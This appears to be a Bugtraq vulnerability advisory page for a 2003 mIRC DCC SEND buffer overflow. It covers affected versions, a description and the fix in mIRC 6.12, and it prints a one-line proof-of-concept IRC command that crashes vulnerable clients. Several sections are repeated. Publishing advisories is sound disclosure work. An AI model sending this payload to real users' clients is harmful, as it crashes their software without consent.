mIRC DCC SEND Buffer Overflow Vulnerability
BID:8818
Info
mIRC DCC SEND Buffer Overflow Vulnerability
| Bugtraq ID: | 8818 |
| Class: | Boundary Condition Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 13 2003 12:00AM |
| Updated: | Oct 13 2003 12:00AM |
| Credit: | Discovery of this vulnerability has been credited to Takara Takaishi <[email protected]>. New exploit mirc_dcc_exp.pl has been submitted by Milan 't4c' Berger. Corrected exploit was submitted by gabriel <[email protected]>. |
| Vulnerable: |
Khaled Mardam-Bey mIRC 6.11 Khaled Mardam-Bey mIRC 6.1 |
| Not Vulnerable: |
Khaled Mardam-Bey mIRC 6.12 |
Discussion
mIRC DCC SEND Buffer Overflow Vulnerability
A vulnerability has been reported to exist in the mIRC client that may allow a remote attacker to crash a vulnerable mIRC client. The condition is most likely present due to insufficient boundary checking performed on 'DCC SEND' requests.
It has been reported that when received, a malicious 'DDC SEND' request can trigger a fatal error and cause an affected mIRC client to crash.
A vulnerability has been reported to exist in the mIRC client that may allow a remote attacker to crash a vulnerable mIRC client. The condition is most likely present due to insufficient boundary checking performed on 'DCC SEND' requests.
It has been reported that when received, a malicious 'DDC SEND' request can trigger a fatal error and cause an affected mIRC client to crash.
Exploit / POC
mIRC DCC SEND Buffer Overflow Vulnerability
The following proof of concept has been supplied:
/quote PRIVMSG #mirc :^ADCC SEND "a a a a a a a a a a a a a a a a a a a a a a
a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a
a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a
a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a
a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a
a a" 1363975063 3500 4^A
Update: It is reported that mirc_dcc_exp.pl was erroneous. It is being replaced by a corrected version.
Update: mirc_dcc_exploit.pl has been updated to correct errors.
The following proof of concept has been supplied:
/quote PRIVMSG #mirc :^ADCC SEND "a a a a a a a a a a a a a a a a a a a a a a
a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a
a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a
a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a
a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a
a a" 1363975063 3500 4^A
Update: It is reported that mirc_dcc_exp.pl was erroneous. It is being replaced by a corrected version.
Update: mirc_dcc_exploit.pl has been updated to correct errors.
Solution / Fix
mIRC DCC SEND Buffer Overflow Vulnerability
Solution:
This issue has been addressed in mIRC 6.12.
Khaled Mardam-Bey mIRC 6.1
Khaled Mardam-Bey mIRC 6.11
Solution:
This issue has been addressed in mIRC 6.12.
Khaled Mardam-Bey mIRC 6.1
-
Khaled Mardam-Bey mIRC 6.12
http://www.mirc.com/get.html
Khaled Mardam-Bey mIRC 6.11
-
Khaled Mardam-Bey mIRC 6.12
http://www.mirc.com/get.html